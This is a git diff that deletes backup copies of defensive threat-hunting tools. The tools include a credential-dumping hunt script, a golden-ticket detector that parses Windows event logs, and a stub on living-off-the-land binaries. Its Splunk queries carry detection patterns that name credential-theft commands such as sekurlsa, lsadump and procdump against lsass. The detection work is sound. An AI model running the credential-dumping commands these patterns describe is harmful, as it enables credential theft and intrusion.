event.get("user", "unknown"), - "hostname": event.get("hostname", "unknown"), - "timestamp": event.get("timestamp", "unknown"), - "indicators": [f"LSASS access from {source_name} with mask {access}"], - } - - -def detect_credential_tool(event: dict) -> dict | None: - """Detect known credential dumping tool execution.""" - cmd = event.get("command_line", "") - if not cmd: - return None - - for tool_name, tool_info in CRED_DUMP_TOOL_PATTERNS.items(): - for pattern in tool_info["patterns"]: - if re.search(pattern, cmd, re.IGNORECASE): - return { - "detection_type": "CREDENTIAL_TOOL", - "technique": tool_info["technique"], - "tool": tool_name, - "command_line": cmd, - "source_process": event.get("source_image", ""), - "parent_process": event.get("parent_image", ""), - "risk_level": "CRITICAL", - "user": event.get("user", "unknown"), - "hostname": event.get("hostname", "unknown"), - "timestamp": event.get("timestamp", "unknown"), - "indicators": [f"Credential tool detected: {tool_name}", f"Pattern matched: {pattern}"], - } - return None - - -def detect_dcsync(event: dict) -> dict | None: - """Detect DCSync activity from non-DC sources.""" - props = event.get("properties", "") - for guid, name in DCSYNC_GUIDS.items(): - if guid.lower() in props.lower(): - return { - "detection_type": "DCSYNC", - "technique": "T1003.006", - "replication_right": name, - "guid": guid, - "risk_level": "CRITICAL", - "user": event.get("user", "unknown"), - "hostname": event.get("hostname", "unknown"), - "timestamp": event.get("timestamp", "unknown"), - "indicators": [f"DCSync activity: {name}", f"GUID: {guid}"], - } - return None - - -def run_hunt(input_path: str, output_dir: str, dc_list: list[str] | None = None) -> None: - """Execute credential dumping hunt.""" - print(f"[*] Credential Dumping Hunt - {datetime.datetime.now().isoformat()}") - print(f"[*] Input: {input_path}") - - events = parse_logs(input_path) - print(f"[*] Loaded {len(events)} events") - - findings = [] - stats = defaultdict(int) - - for raw_event in events: - event = normalize_event(raw_event) - - # Check for LSASS access - result = detect_lsass_access(event) - if result: - findings.append(result) - stats["LSASS_ACCESS"] += 1 - stats[result["risk_level"]] += 1 - - # Check for credential dumping tools - result = detect_credential_tool(event) - if result: - findings.append(result) - stats["CREDENTIAL_TOOL"] += 1 - stats[result["risk_level"]] += 1 - - # Check for DCSync - result = detect_dcsync(event) - if result: - if dc_list and result["hostname"].lower() in [dc.lower() for dc in dc_list]: - continue # Skip legitimate DC replication - findings.append(result) - stats["DCSYNC"] += 1 - stats[result["risk_level"]] += 1 - - # Write output - output_path = Path(output_dir) - output_path.mkdir(parents=True, exist_ok=True) - - findings_file = output_path / "credential_dump_findings.json" - with open(findings_file, "w", encoding="utf-8") as f: - json.dump({ - "hunt_id": f"TH-CRED-DUMP-{datetime.date.today().isoformat()}", - "timestamp": datetime.datetime.now().isoformat(), - "total_events": len(events), - "total_findings": len(findings), - "statistics": dict(stats), - "findings": findings, - }, f, indent=2) - - # Write report - report_file = output_path / "hunt_report.md" - with open(report_file, "w", encoding="utf-8") as f: - f.write(f"# Credential Dumping Hunt Report\n\n") - f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") - f.write(f"**Events Analyzed**: {len(events)}\n") - f.write(f"**Findings**: {len(findings)}\n\n") - f.write("## Detection Breakdown\n\n") - for key, count in sorted(stats.items()): - f.write(f"- {key}: {count}\n") - f.write("\n## Critical Findings\n\n") - for finding in sorted(findings, key=lambda x: ("CRITICAL", "HIGH", "MEDIUM", "LOW").index(x["risk_level"])): - if finding["risk_level"] in ("CRITICAL", "HIGH"): - f.write(f"### [{finding['risk_level']}] {finding['detection_type']} - {finding['technique']}\n") - f.write(f"- **Host**: {finding['hostname']}\n") - f.write(f"- **User**: {finding['user']}\n") - f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n") - - print(f"[+] Output written to {output_dir}") - print(f"\n{'='*60}") - print(f"FINDINGS: {len(findings)} | CRITICAL: {stats.get('CRITICAL',0)} | HIGH: {stats.get('HIGH',0)}") - print(f"{'='*60}") - - -def generate_queries(platform: str) -> None: - """Generate hunting queries for specified platform.""" - if platform in ("splunk", "all"): - print("\n=== SPLUNK QUERIES ===\n") - print("--- LSASS Access Detection ---") - print("""index=sysmon EventCode=10 TargetImage="*\\\\lsass.exe" -| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng)") -| stats count by SourceImage GrantedAccess Computer User -| sort -count""") - print("\n--- Credential Tool Detection ---") - print("""index=sysmon EventCode=1 -| where match(CommandLine, "(?i)(sekurlsa|lsadump|comsvcs.*MiniDump|procdump.*lsass|reg save.*SAM)") -| table _time Computer User Image CommandLine ParentImage""") - print("\n--- DCSync Detection ---") - print("""index=wineventlog EventCode=4662 -| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)") -| table _time SubjectUserName SubjectDomainName Computer Properties""") - - if platform in ("kql", "all"): - print("\n=== KQL QUERIES ===\n") - print("--- LSASS Access ---") - print("""DeviceEvents -| where ActionType == "OpenProcessApiCall" -| where FileName == "lsass.exe" -| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","MsMpEng.exe") -| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, AdditionalFields""") - - -def main(): - parser = argparse.ArgumentParser(description="Credential Dumping Detection Hunt") - subparsers = parser.add_subparsers(dest="command") - - hunt_parser = subparsers.add_parser("hunt", help="Run credential dumping hunt") - hunt_parser.add_argument("--input", "-i", required=True, help="Log file path") - hunt_parser.add_argument("--output", "-o", default="./cred_dump_output", help="Output directory") - hunt_parser.add_argument("--dc-list", nargs="*", help="List of known DCs to exclude from DCSync alerts") - - query_parser = subparsers.add_parser("queries", help="Generate hunting queries") - query_parser.add_argument("--platform", "-p", choices=["splunk", "kql", "all"], default="all") - - subparsers.add_parser("signatures", help="List detection signatures") - - args = parser.parse_args() - - if args.command == "hunt": - run_hunt(args.input, args.output, args.dc_list) - elif args.command == "queries": - generate_queries(args.platform) - elif args.command == "signatures": - print("\n=== Credential Dumping Tool Signatures ===\n") - for tool, info in CRED_DUMP_TOOL_PATTERNS.items(): - print(f"{tool:<25} {info['technique']:<25} Patterns: {len(info['patterns'])}") - else: - parser.print_help() - - -if __name__ == "__main__": - main() diff --git a/skills/detecting-golden-ticket-attacks.bak/LICENSE b/skills/detecting-golden-ticket-attacks.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/detecting-golden-ticket-attacks.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/detecting-golden-ticket-attacks.bak/SKILL.md b/skills/detecting-golden-ticket-attacks.bak/SKILL.md deleted file mode 100644 index dd69beca..00000000 --- a/skills/detecting-golden-ticket-attacks.bak/SKILL.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -name: detecting-golden-ticket-attacks -description: >- - Detect Kerberos golden ticket attacks by analyzing Windows Security event logs for anomalous - TGT usage patterns. Parses Event IDs 4624, 4672, and 4768 from EVTX files to identify tickets - with abnormal lifetimes, domain SID mismatches, and privilege escalation sequences where - non-admin accounts receive admin-level privileges without corresponding group membership changes. -domain: cybersecurity -subdomain: security-operations -tags: [detecting, golden, ticket, attacks] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -## Instructions - -1. Install dependencies: `pip install python-evtx lxml` -2. Collect Windows Security EVTX logs from domain controllers. -3. Parse Event IDs: - - 4768: Kerberos TGT requests (authentication service requests) - - 4624: Logon events (look for LogonType 3 with NTLM or Kerberos) - - 4672: Special privileges assigned (admin logon indicators) -4. Detect golden ticket indicators: - - TGT with lifetime >10 hours (default max is 10h) - - Event 4672 for accounts not in Domain Admins - - Logon events with no corresponding 4768 TGT request - - Domain SID inconsistencies in ticket data -5. Generate detection report with timeline reconstruction. - -```bash -python scripts/agent.py --evtx-file /path/to/Security.evtx --output golden_ticket_report.json -``` - -## Examples - -### Detect Anomalous Privilege Assignment -Event 4672 for a standard user account receiving SeDebugPrivilege, SeTcbPrivilege, or SeBackupPrivilege indicates potential golden ticket usage. - -### TGT Without Corresponding AS-REQ -A logon event (4624) with Kerberos authentication but no matching 4768 (TGT request) on the DC suggests a forged TGT. diff --git a/skills/detecting-golden-ticket-attacks.bak/references/api-reference.md b/skills/detecting-golden-ticket-attacks.bak/references/api-reference.md deleted file mode 100644 index 0bcf095a..00000000 --- a/skills/detecting-golden-ticket-attacks.bak/references/api-reference.md +++ /dev/null @@ -1,50 +0,0 @@ -# API Reference: Detecting Golden Ticket Attacks - -## python-evtx Library -```python -from Evtx.Evtx import FileHeader -with open("Security.evtx", "rb") as f: - fh = FileHeader(f) - for record in fh.records(): - xml_string = record.xml() -``` - -## Key Event IDs - -### Event 4768 - Kerberos TGT Request (AS-REQ) -```xml -admin_user -CORP.LOCAL -0x12 -15 -::ffff:10.0.0.50 -``` - -### Event 4624 - Logon Event -```xml -user -3 -Kerberos -10.0.0.50 -WKS01 -``` - -### Event 4672 - Special Privileges Assigned -```xml -user -CORP -SeDebugPrivilege SeTcbPrivilege -``` - -## Golden Ticket Detection Indicators -| Indicator | Evidence | -|-----------|----------| -| Orphan logon | 4624 Kerberos logon with no 4768 TGT request | -| Privilege anomaly | 4672 admin privs for non-admin account | -| Abnormal TGT lifetime | TGT valid >10 hours (default max) | -| RC4 TGT majority | >50% of TGTs using 0x17 encryption | -| Domain SID mismatch | TGT domain SID differs from DC | - -## MITRE ATT&CK -- T1558.001 - Golden Ticket -- T1550 - Use Alternate Authentication Material diff --git a/skills/detecting-golden-ticket-attacks.bak/scripts/agent.py b/skills/detecting-golden-ticket-attacks.bak/scripts/agent.py deleted file mode 100644 index 85344052..00000000 --- a/skills/detecting-golden-ticket-attacks.bak/scripts/agent.py +++ /dev/null @@ -1,185 +0,0 @@ -#!/usr/bin/env python3 -"""Golden Ticket Detection Agent - Detects forged Kerberos TGTs via Event 4624/4672/4768 analysis.""" - -import json -import logging -import argparse -from collections import defaultdict -from datetime import datetime - -from Evtx.Evtx import FileHeader -from lxml import etree - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - -NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} - -ADMIN_PRIVILEGES = [ - "SeDebugPrivilege", "SeTcbPrivilege", "SeBackupPrivilege", - "SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeLoadDriverPrivilege", - "SeImpersonatePrivilege", "SeAssignPrimaryTokenPrivilege", -] - - -def parse_event_data(root): - """Extract EventData fields from an EVTX XML record.""" - data = {} - for elem in root.findall(".//evt:EventData/evt:Data", NS): - data[elem.get("Name", "")] = elem.text or "" - time_elem = root.find(".//evt:System/evt:TimeCreated", NS) - data["_timestamp"] = time_elem.get("SystemTime", "") if time_elem is not None else "" - return data - - -def parse_security_events(evtx_path): - """Parse Event IDs 4624, 4672, and 4768 from Security EVTX.""" - events = {"4624": [], "4672": [], "4768": []} - target_ids = {"4624", "4672", "4768"} - with open(evtx_path, "rb") as f: - fh = FileHeader(f) - for record in fh.records(): - try: - xml = record.xml() - root = etree.fromstring(xml.encode("utf-8")) - eid_elem = root.find(".//evt:System/evt:EventID", NS) - if eid_elem is None or eid_elem.text not in target_ids: - continue - data = parse_event_data(root) - events[eid_elem.text].append(data) - except Exception: - continue - for eid, evts in events.items(): - logger.info("Parsed %d events for Event ID %s", len(evts), eid) - return events - - -def detect_orphan_logons(events): - """Detect Kerberos logons (4624) with no corresponding TGT request (4768).""" - tgt_accounts = {e.get("TargetUserName", "").lower() for e in events["4768"]} - orphan_logons = [] - for logon in events["4624"]: - if logon.get("AuthenticationPackageName", "") == "Kerberos": - account = logon.get("TargetUserName", "").lower() - if account and account not in tgt_accounts and not account.endswith("$"): - orphan_logons.append({ - "timestamp": logon["_timestamp"], - "account": logon.get("TargetUserName", ""), - "source_ip": logon.get("IpAddress", ""), - "logon_type": logon.get("LogonType", ""), - "workstation": logon.get("WorkstationName", ""), - "indicator": "Kerberos logon without TGT request (possible golden ticket)", - }) - logger.info("Found %d orphan Kerberos logons", len(orphan_logons)) - return orphan_logons - - -def detect_anomalous_privileges(events, known_admins=None): - """Detect non-admin accounts receiving admin privileges (Event 4672).""" - if known_admins is None: - known_admins = set() - anomalous = [] - for priv_event in events["4672"]: - account = priv_event.get("SubjectUserName", "") - privileges = priv_event.get("PrivilegeList", "") - if account.lower() not in known_admins and not account.endswith("$"): - admin_privs = [p for p in ADMIN_PRIVILEGES if p in privileges] - if admin_privs: - anomalous.append({ - "timestamp": priv_event["_timestamp"], - "account": account, - "domain": priv_event.get("SubjectDomainName", ""), - "admin_privileges": admin_privs, - "indicator": "Non-admin account with admin privileges (golden ticket indicator)", - }) - logger.info("Found %d anomalous privilege assignments", len(anomalous)) - return anomalous - - -def detect_abnormal_tgt_patterns(events): - """Detect TGT requests with abnormal encryption types or patterns.""" - account_tgts = defaultdict(list) - for tgt in events["4768"]: - account = tgt.get("TargetUserName", "") - account_tgts[account].append(tgt) - anomalies = [] - for account, tgts in account_tgts.items(): - if account.endswith("$"): - continue - rc4_tgts = [t for t in tgts if t.get("TicketEncryptionType", "") in ("0x17", "0x18")] - if rc4_tgts and len(rc4_tgts) > len(tgts) * 0.5: - anomalies.append({ - "account": account, - "total_tgts": len(tgts), - "rc4_tgts": len(rc4_tgts), - "indicator": "Majority RC4 TGT requests (possible ticket forging)", - }) - logger.info("Found %d accounts with abnormal TGT patterns", len(anomalies)) - return anomalies - - -def detect_logon_privilege_correlation(events): - """Correlate logon events with privilege assignments for timeline analysis.""" - priv_accounts = defaultdict(list) - for priv in events["4672"]: - account = priv.get("SubjectUserName", "").lower() - priv_accounts[account].append(priv["_timestamp"]) - logon_accounts = defaultdict(list) - for logon in events["4624"]: - account = logon.get("TargetUserName", "").lower() - logon_accounts[account].append({ - "timestamp": logon["_timestamp"], - "source_ip": logon.get("IpAddress", ""), - "logon_type": logon.get("LogonType", ""), - }) - correlations = [] - for account in priv_accounts: - if account in logon_accounts and not account.endswith("$"): - correlations.append({ - "account": account, - "privilege_events": len(priv_accounts[account]), - "logon_events": len(logon_accounts[account]), - "source_ips": list({l["source_ip"] for l in logon_accounts[account]}), - }) - return correlations - - -def generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations): - """Generate golden ticket detection report.""" - total = len(orphan_logons) + len(priv_anomalies) + len(tgt_anomalies) - severity = "Critical" if orphan_logons and priv_anomalies else "High" if total > 0 else "Low" - report = { - "timestamp": datetime.utcnow().isoformat(), - "severity": severity, - "orphan_kerberos_logons": orphan_logons[:20], - "anomalous_privilege_assignments": priv_anomalies[:20], - "abnormal_tgt_patterns": tgt_anomalies, - "logon_privilege_correlations": correlations[:20], - "total_indicators": total, - } - print(f"GOLDEN TICKET DETECTION: {total} indicators, Severity: {severity}") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Golden Ticket Detection Agent") - parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file") - parser.add_argument("--known-admins", nargs="*", default=[], help="Known admin account names") - parser.add_argument("--output", default="golden_ticket_report.json") - args = parser.parse_args() - - events = parse_security_events(args.evtx_file) - known_admins = {a.lower() for a in args.known_admins} - orphan_logons = detect_orphan_logons(events) - priv_anomalies = detect_anomalous_privileges(events, known_admins) - tgt_anomalies = detect_abnormal_tgt_patterns(events) - correlations = detect_logon_privilege_correlation(events) - - report = generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/detecting-living-off-the-land-attacks.bak/LICENSE b/skills/detecting-living-off-the-land-attacks.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/detecting-living-off-the-land-attacks.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/detecting-living-off-the-land-attacks.bak/SKILL.md b/skills/detecting-living-off-the-land-attacks.bak/SKILL.md deleted file mode 100644 index 3e443022..00000000 --- a/skills/detecting-living-off-the-land-attacks.bak/SKILL.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -name: detecting-living-off-the-land-attacks -description: > - Detect abuse of legitimate Windows binaries (LOLBins) used for living off - the land attacks. Monitors process creation, command-line arguments, and - parent-child relationships to identify suspicious LOLBin execution patterns. -domain: cybersecurity -subdomain: threat-detection -tags: [lolbins, lotl, fileless-attacks, process-monitoring] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Detecting Living Off the Land Attacks - -Monitor for suspicious use of legitimate Windows binaries (LOLBins) -including certutil, mshta, rundll32, regsvr32, and others used in -fileless and living-off-the-land attack techniques. 